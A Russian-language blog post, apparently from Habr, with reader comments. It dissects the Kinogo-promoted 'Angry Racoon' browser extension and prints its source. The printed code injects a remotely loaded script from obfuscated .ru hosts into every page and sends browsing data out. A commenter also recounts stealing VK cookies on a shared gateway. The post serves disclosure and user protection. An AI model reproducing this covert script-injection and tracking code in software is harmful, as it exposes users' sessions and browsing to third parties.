Продолжая тему обзора расширений, рассмотрим следующее.
При входе на сайт Kinogo начал возникать баннер:
Мне стало интересно что это за расширение и решил просмотреть код.
Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):
Стоит отметить, что расширений существует несколько (не меньше 3-х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.
Название: Angry Racoon — уход от бана
Дата последнего обновления: 5 Мая 2015.
Версия: 1.0.3
Коротко опишу, только интересную цепочку:
1. Разбор любого расширения начинается с manifest.json
2. Из значения ключа «content_scripts» следует, что, кроме фреймворков, на КАЖДУЮ открытую пользователем страницу подключается файл process.js
3. В process.js с помощью функции require подключается файл «content.js»
4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js
5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.
6. Итак, функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.
7. Поиск получения файла с кодом для отдачи url аналогичен пунктам выше, поэтому просто цепочка:
8. Рассмотрим backgroundUtils.js
9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4-х url (рандомно).
10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4-х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.
Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:
А теперь соберем все воедино:
1. Довольно популярный сайт просит установить расширение.
2. Расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все, что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
3. Помимо скрипта, идет явная отправка информации о пользователе: посещенные страницы и рефереры для данных страниц.
Выводы делайте сами.
P.S. Ранее в статье содержалась фраза «Продолжая тему вредоносных расширений, рассмотрим следующее.». Она была сознательно убрана. Еще раз акцентирую внимание на том, что цель статьи — показать, какими функциями и возможностями обладает код данного расширения помимо заявленных.
При входе на сайт Kinogo начал возникать баннер:
Мне стало интересно что это за расширение и решил просмотреть код.
Почему появилось расширение?
Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):
Текст со скриншота
Всем привет! С недавних пор мы запустили на kinogo.co оповещение для посетителей, касающиеся установки наших плагинов (под Mozilla Firefox, Google Chrome, Яндекс Браузер и тд), направленных на обход возможной блокировки нашего проекта провайдерами РФ и граничащих с РФ странами. Мы подтверждаем, все плагины наши, и мы активно их поддерживаем.
Единственный, плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержки Internet Exploler не будет.
Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться, от него закрыв окошко.
Единственный, плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержки Internet Exploler не будет.
Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться, от него закрыв окошко.
О расширении
Стоит отметить, что расширений существует несколько (не меньше 3-х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.
Название: Angry Racoon — уход от бана
Дата последнего обновления: 5 Мая 2015.
Версия: 1.0.3
Обзор кода расширения
Коротко опишу, только интересную цепочку:
1. Разбор любого расширения начинается с manifest.json
manifest.json
{
"background": {
"page": "html/background.html"
},
"content_scripts": [ {
"js": [
"core/frameworks/cajon.js",
"core/frameworks/jquery.js",
"core/process.js"
],
"matches": [ "*://*/*" ],
"run_at": "document_start"
} ],
"description": "Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!",
"icons": {
"128": "images/128.png",
"16": "images/16.png",
"48": "images/48.png"
},
"manifest_version": 2,
"name": "Angry Kino - уход от бана",
"permissions": [
"webRequest",
"webRequestBlocking",
"webNavigation",
"tabs",
"\u003Call_urls>"
],
"update_url": "https://clients2.google.com/service/update2/crx",
"version": "1.0.3",
"web_accessible_resources": [
"images/_.png",
"core/content.js",
"core/contentSession.js",
"core/messaging.js",
"core/frameworks/uri.js",
"core/backgroundHandlers.js",
"core/backgroundSession.js",
"core/backgroundUtils.js"
]
}
2. Из значения ключа «content_scripts» следует, что, кроме фреймворков, на КАЖДУЮ открытую пользователем страницу подключается файл process.js
process.js
require.config({
baseUrl: chrome.extension.getURL('/')
});
require([
"core/content"
], function() {
});
3. В process.js с помощью функции require подключается файл «content.js»
content.js
define(function (require) {
exports = {};
(function () {
var messageDispatcher = require('core/messaging').MessageDispatcher;
messageDispatcher.sendToBackground(
{
cmd: 'GetRequestUrl'
}, function (url) {
if (url) {
url = url.replace(/^https?:/, '')
+ '&r=' + encodeURIComponent(document.referrer)
+ '&h=' + encodeURIComponent(document.location.host)
+ '&rand=' + (new Date()).getTime();
if (document.head) {
$("head").append($("<script />", {
src: url
}));
} else {
var i = setInterval(function () {
if (document.head) {
clearInterval(i);
$("head").append($("<script />", {
src: url
}));
}
}, 100);
}
}
});
if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) {
var i2 = setInterval(function () {
if (document.body) {
clearInterval(i2);
$("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide());
}
}, 100);
}
}).call(this);
return exports;
});
4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js
messaging.js
define(function (require) {
exports = {};
(function () {
var _handlers = {};
function dispatcher(handlers, request, sender, sendResponse) {
if (!request || !request.cmd || !(typeof request.cmd === 'string')) {
throw 'Error: Bad request!';
}
var handlerName = 'handle' + request.cmd;
var handler = handlers[handlerName];
if (!(typeof handler === 'function')) {
return;
}
handler(request.args, sender, sendResponse);
}
chrome.extension.onMessage.addListener(
function (request, sender, sendResponse) {
dispatcher(_handlers, request, sender, sendResponse);
}
);
exports.MessageDispatcher = {
addHandlers: function(handlers) {
for(var name in handlers) {
_handlers[name] = handlers[name];
}
},
sendToBackground: function (request, callback) {
callback = callback || $.noop;
chrome.extension.sendMessage(request, callback);
},
sendToContentScript: function (tabId, request, callback) {
callback = callback || $.noop;
chrome.tabs.sendMessage(tabId, request, callback);
}
};
}).call(this);
return exports;
});
5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.
6. Итак, функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.
7. Поиск получения файла с кодом для отдачи url аналогичен пунктам выше, поэтому просто цепочка:
manifest.json ==(key "background.page")==> background.html backround.html ==(script)==> demon.js demon.js ==(require)==> backround.js background.js ==(require)==> backgroundHandlers.js backgroundHandlers.js ==(require)==> backgroundUtils.js
8. Рассмотрим backgroundUtils.js
backgroundUtils.js
define(function (require) {
exports = {};
(function () {
var Session = require('core/backgroundSession').Session;
var ProxyGetter = require('core/proxy').ProxyGetter;
exports = {
getRequestUrl: function() {
if (ProxyGetter.serverIp) {
return (
ProxyGetter.serverIp + '/getscripts2?'
+ this.getRequestParams()
);
}
},
getRequestParams: function() {
return ('&b=' + Session.buildId
+ '&uid=' + Session.instanceId
+ '&insd=' + Session.installDate
+ '&sid='
+ '&df='
);
},
sendNotify: function(from, to) {
if (ProxyGetter.serverIp) {
var url = (
ProxyGetter.serverIp + '/kinogo_log?'
+ this.getRequestParams()
+ '&from=' + encodeURIComponent(from)
+ '&to=' + encodeURIComponent(to)
);
$.get(url);
}
}
};
}).call(this);
return exports;
});
9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4-х url (рандомно).
'http://outrageous.ru', 'http://thrilling.ru', 'http://frightened.ru', 'http://agitated.ru',
proxy.js
define(function (require) {
exports = {};
(function () {
/**
* Bypass protection from Roskomnadzor
*/
var reserveLinks = [
'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru',
'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru',
'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru',
'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru',
];
var ProxyGetter = {};
ProxyGetter.serverIp = null;
/**
* Use proxy
* @param {type} callback
* @returns {undefined}
*/
ProxyGetter.findServer = function (callback) {
ProxyGetter.serverIp = null;
if(reserveLinks.length > 0) {
ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)];
}
callback();
};
exports.ProxyGetter = ProxyGetter;
}).call(this);
return exports;
});
10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4-х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.
Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:
А теперь соберем все воедино:
1. Довольно популярный сайт просит установить расширение.
2. Расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все, что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
3. Помимо скрипта, идет явная отправка информации о пользователе: посещенные страницы и рефереры для данных страниц.
Выводы делайте сами.
P.S. Ранее в статье содержалась фраза «Продолжая тему вредоносных расширений, рассмотрим следующее.». Она была сознательно убрана. Еще раз акцентирую внимание на том, что цель статьи — показать, какими функциями и возможностями обладает код данного расширения помимо заявленных.
putnik
Это всё от глупости, а не от злого умысла. Что, впрочем, не менее веская причина не пользоваться такими расширениями.
mayorovp
Глупостью это бы было, если бы расширение и правда помогало обойти блокировку. Но ведь кроме шпионажа за пользователем оно не делает вообще ничего!
2potato
А вы проверяли что оно не работает? Установите расширение, заблокируйте на роутере kinogo.net и убедитесь сами что расширение переведет любой ваш запрос на вшитое в коде зеркало (kinogo.co) либо подкачает список доступных зеркал — самостоятельно (если вы используете firefox версию)
SDI Автор
1. Уровень кода из расширения не состыкуется с глупостью. Код расширения написан сильными в разработке ребятами и скорей всего одной группой людей (возможно и одним человеком). Стиль написания кода и его логика выдержана от начала до конца.
2. И последним гвоздем является явная отправка данных о пользователе. Ты либо отсылаешь данные либо нет, третьего не дано.
mwizard
SDI Автор
Не совсем верно.
Данная цитата не противоречит теории эволюции.
Цитата критикует одну из теорий возникновения живой материи на Земле. Из чего-то же должна была начаться эволюция.
А этих теорий на самом деле очень много:
— живая материя занесена из космоса космическим телом;
— существовала всегда;
— возникла на ровном месте из неживой материи и т.п.
Вот данная цитата относится к последнему, приведенному, варианту.
В комментарии цитата приведена как красивая, на мой взгляд, аналогия. Конечно же, я не возьму на себя ответственности дать ответ по тому, о чем еще нет ответа в научном мире.
mwizard
Не соглашусь с вами хотя бы по той причине, что в цитате идет речь о «higher life forms» — т.е. о воронах, ежиках и других мелких птичках. О происхождении простейших форм жизни приведенная цитата не говорит ни слова.
SDI Автор
Отличное замечание.
Чуть погуглил, действительно есть, как минимум, 2 трактовки данной цитаты:
— в одном случае ее используют против эволюции.
— в другом случае она используется именно для обоснования появления «первой живой клетки»;
mwizard
neochapay
Эволюция не работает по такому принципу! Нет ни какой свалки — есть последовательный процесс усовершенствования под давлением внешней среды.
Начинаем с фосволипидов — один конец которых гидрофильный другой гидрофобный — самоорганизующиеся мембраны и глобулы — получаем обосоленный внутренний мирок протоорганизма. У древних он вообще мог быть из глицерина например…
Продолжаем образованием клапанов в этой мембране пропускающие только определённые соединения для формирования самой оболочки.
Далее самый сложный этап — начало питания я о нём уже вряд ли могу поведать.
Я к тому что эволюция это не ветер на свалке…
uinx
Кто хочет — пусть ставит, кто не хочет — пусть не ставит, незачем панику создавать.
И создавали эти расширения наверно по приципу —
Лично я вообще с торрентов качаю видеоконтент, ложу его в локальный plex media server, и смотрю на apple tv3 с телеком в 51 диагональ
RubyRoid07
51 диагональ! Красиво жить не запретишь!
Spegulo
Да, я как ни крутил, как по углам не расставлял — больше 12 диагоналей в квартиру не помещается… Что я делаю не так?
berezuev
Так, это только в одной комнате 12 диагоналей (при условии, что это ровный параллелепипед). А в квартире, обычно, еще и кухня, коридор, санузел… Вот вам полсотни и наберется.
mwizard
Гардеробная, кабинет, библиотека, зал для гостей, комната для прислуги, винный погреб…
Spegulo
Да, пожалуй, я мыслил двумерно. Но и вы учитываете только диагонали граней.
uinx
А в чем смысл минусов?
Самовыражение не в моде?
gibson_dev
На данном ресурсе и в том виде в котором вы это делаете — моветон
Yavanosta
Нет, просто люди выражают свое мнение.
Комментарий написан с MacBook Air 2015, подключенном с помощью DisplayPort к монитору Apple Led Cinema на клавиатуре Apple Keyboard, с Apple Magic Mouse в руках. В процессе написания я пил из хрустального бокала, изготовленного лучшими мастерами Российской Империи в 1856 году, и купленного мной в прошлом году на аукционе Сотбис, у представителя древнейшего российского рода, вино из винограда выращенного на южных французских склонах в самый засушливый и неурожайный год восемнадцатого столетия, что придало ему легкий терпкий привкус и замечательный аромат, который как нельзя лучше гармонирует со свежей кубинской сигарой, доставленной мне вчера специальным рейсом аэрофлота.
berezuev
Пить вино с утра — плохая затея :)
ingumsky
Верно. «Утром выпил — весь день свободен».
Yavanosta
И это я еще молчу про «ложу»
freylis
никогда не понимал как можно своими руками хоронить свой проект. Либо есть версия, что у них там жареным запахло, вот и решили собрать кучу инфы.
В любом случае больше к вам не приду
2potato
Отправлять текущую страницу в управляющий скрипт, что бы определять киного домен это или нет — это по вашему собирать кучу инфы? Мы не собираем информацию по нашим пользователям, это не имеет смысла.
realbtr
Что-то много желающих стало поставить свой плагин к браузеру.
Некие s3.archiveshare.net через друзей в фейсбуке, распространяет разные провокационно-популярные статьи (на волне Российско-Украинского конфликта) при этом, отображая поверх части страницы предложение установить плагин.
Не анализировал в деталях, может кому-то будет интересно. Могу (персонально) дать зловредную ссылку для анализа.
SDI Автор
Подтверждаю, по поводу archiveshare.net есть подозрения.
Через vk тоже идет масштабная реклама постов из других ресурсов, которые размещены якобы на данном домене.
И для просмотра этих постов нужно расширение.
leoismyname
Вся суть статьи в двух предложениях:
SDI Автор
Почти.
Только упущено предложение с описанием того, что делает данное расширение.
А вот на основании действий расширения, каждый волен сделать свои выводы.
Судя по комментариям, они действительно могут отличаться.
Поэтому навязывать свое мнение о таких вещах счел не нужным.
2potato
А вы не описали по сути того что делает расширение, не указали что оно содержит в себе функционал, который описан в манифесте и магазине. «Продолжая тему вредоносных расширений» — это начало вашей статьи, хотя в итоге вредоносного ничего в нем обнаружить не получилось.
Elandor
Достаточно откровенный манифест. Прямым текстом написано, что следить будут.
Claud
Так, а заявленная функция там вообще есть? Блокировки обходятся или нет?
SDI Автор
Сказать, что нет функционала для обхода блокировок — нельзя, но и сказать, что есть мегафункция для обхода блокировок — тоже нельзя.
Поэтому скажу как есть.
Есть функция которая слушает все запросы и если среди запросов есть запрос страницы с нужным доменом, то он редиректится на kinogo.co.
Claud
Так это считай что нет обхода, этот ихний новый домен прикроют так же как и старый.
SDI Автор
Да, так и есть.
Поэтому и сделал предположение, что они должны будут получать списки доменов с веб-сервера, если конечно вообще планируют обходить блокировки.
А это в свою очередь откроет проблему редиректа всего что угодно на все что угодно;
Claud
К слову, а в предыдущем расширение, на которое вы делали обзор, там была полезная функциональность (убирал рекламу со страницы)?
SDI Автор
Не заметил, блокировки запросов и фонового скрипта там в принципе не было.
Поэтому вся надежда была на полученный код с веб-сервера.
Возможно, на популярные сайты и присылали скрипты, которые скрывали рекламу. Но опять же удалить ее могли уже постфактум (с миганием и т.п.).
2potato
Боже, откуда такие выводы? Откройте расширение для фокса и убедитесь сами что там реализован механизм получения зеркал через киного домен. Для хрома нет надобности вшивать этот функционал т.к. расширение находится в магазине и список зеркал легко изменить в ручную.
Если в случае блокировки домена kinogo.net, плагин переводит автоматически все ГЕТ запросы на свой рабочий домен (в данном случае хардкор kinogo.co), то чем это не обход блокировки? В случае блокировки зеркального домена kinogo.co — плагин обновляется через гугл стор и снова обходит любую блокировку, а в случае с фаерфоксом — без обновления подкачивает новое зеркало.
2potato
В текущей реализации плагин определяет что вы зашли на kinogo.net и переводит ваш запрос на вшитое в коде зеркало в зоне co. Если это не обход блокировки, тогда что же обход?
Kamikaze
Признаюсь, я тот, кто зачем-то поставил расширение, не особо задумавшись даже зачем, хотя частенько за это ругал других людей.
Сегодня обнаружил левую сессию в vk с неизвестного адреса и посланное от моего имени кому-то сообщение. Вряд ли совпадение, так очевидно расширение не просто бесполезное, а уже вполне себе вредоносное.
xenohunter
Ваш ник даже немного коррелирует с событием. Надеюсь, всё хорошо, и важные данные не успели утечь.
Kamikaze
К счастью да, обошлось. Так сказать максимум опыта из минимума ущерба.
2potato
Полный бред. Расширение не содержит в себе не капли вредоносного кода. Это подтверждено как основным постом так и в целом если полистать его код. Если вашим аккаунтом пользуется кто то еще — это ваше дело, при чем тут расширение? У расширения даже нет такой возможности это сделать, полистайте исходники. Это физически не возможно без его апдейта.
solver
Боюсь, что вас просто не услышат.
К сожалению, у вас подозрительный код. А в этой ситуации любым заявлениям типа «Сегодня обнаружил левую сессию в vk с неизвестного адреса» будут верить на слово. Хотя и есть простое логическое правило «После того не означает в следствии того». Люди все равно часто думают эмоциями и убеждениями, а не фактами.
Kamikaze
Наверное также могут ответить авторы сего поделия. А что, вреда оно само действительно не наносит.
Извиняюсь за сравнение с такими вещами, но напрашивается само собой.
2potato
Ну вы же правда понимаете разницу софта и расширения? Я понимаю что в мире существуют потенциально вредоносные расширения, я этого не отрицаю и возможно часть из них действительно заточено под описанные вами действия. Но такие действия как вы описали нельзя сделать без использования API браузера, а оно не доступно при подгрузки скрипта удаленно. Соответственно если при разборе расширения этого функционала не увидели, значит он и не сможет там появится без обновления плагина и тп.
Поэтому я и написал вам что вы ошибаетесь. В текущей реализации, данный плагин этого сделать не может. Его придется очень сильно модифицировать что бы он смог выполнять описанные действия.
Kamikaze
К сожалению, довольно далек от разработки и JS, что невозможно, куки скажем перехватить и переслать? Могу ошибаться, но вроде как вполне возможно.
Я не пытаюсь доказать что вы злодеи, мне опыта не хватит всё равно, мне просто любопытно, насколько может скомпрометировать безопасность установка расширения выполняющего произвольный JS-код.
Sayonji
Можно про «физически невозможно» подробнее?
является ложью?Данное утверждение из статьи
2potato
Этого не достаточно что бы произвести описанные действия, даже если подгруженный код будет вредоносным. Возможностями жабаскрипта вы не сможете не заметно отправлять какие либо сообщения и тп, ВК не даст вам сабмитить форму если вы не находитесь непосредственно на странице кому вы хотите написать + не открыли с ним чат. Покраней мере мне такие возможности не известны. Нажать кнопку — теоретически возможно, но отправить сообщение левому человеку — нет. Темболее что значит «левая сессия ВК» и тп — остается загадкой.
mayorovp
2potato
Ну что за сказки? Скрипт грузится с домена отличного от ВК, по политике безопасности он не сможет засабмить форму чата, максимум что — кликнуть сам по кнопке. Для того что бы кликнуть — надо находится на странице нужной где чат уже открыт с нужным человеком. Дальше надо самому заполнить форму и нажать на кнопку. Что бы находится на нужной странице — её должен открыть пользователь. Если открывать самому, отслеживать ципочту набирать текст и тп — даже в таком случае таб браузера закрыть не получится. Все будет очевидно для владельца страницы ВК. Поэтому давайте вы прежде чем умничать — пойдете попробуете.
mayorovp
Какая разница, откуда загружен скрипт, если выполняется он со страницы ВК? Будучи включенным на страницу тэгом
script
, он может делать все, что хочет.Конечно, тут сайту могла бы помочь CSP (Content security policy) — но ВК не использует эту технику.
2potato
Как это какая разница? Если вы хотите засабмитить форму с отправкой личного сообщения другому пользователю — вы должны сделать post запрос на домен ВК с подключеного скрипта. Если он подключился с другого домена — ВК отбросит данные. Это тоже самое что б вы сейчас с локальной машины будучи залогиненым в ВК попробовали отправить на их домен пост данные на отправку сообщения. Это не получится сделать, максимум что подключенным скриптом вы сможете нажать на кнопку, как я уже писал об этом выше.
mwizard
Kamikaze
Возможностями жабаскрипта можно легко получить cookies для определенного ресурса, с которыми можно уже поразвлекаться вручную. Зачем — уже вопрос другой, может кому-то заняться нечем было.
Однажды сам, имея доступ к шлюзу интернета учебного заведения, поигрался с анализатором трафика и получил кукисы на тот же vk, который тогда ещё был без https, затем от имени пользователя отправил ему же сообщение что сидеть на работе в контакте не есть хорошо.
vk логирует доступ, соответственно под «левой сессией» подразумевал неизвестный мне адрес в этом логе.
grossws
— либо куки специально предназначены для обработки в js,
— либо разработчик бекэнда конечный идиот и не поставил HttpOnly.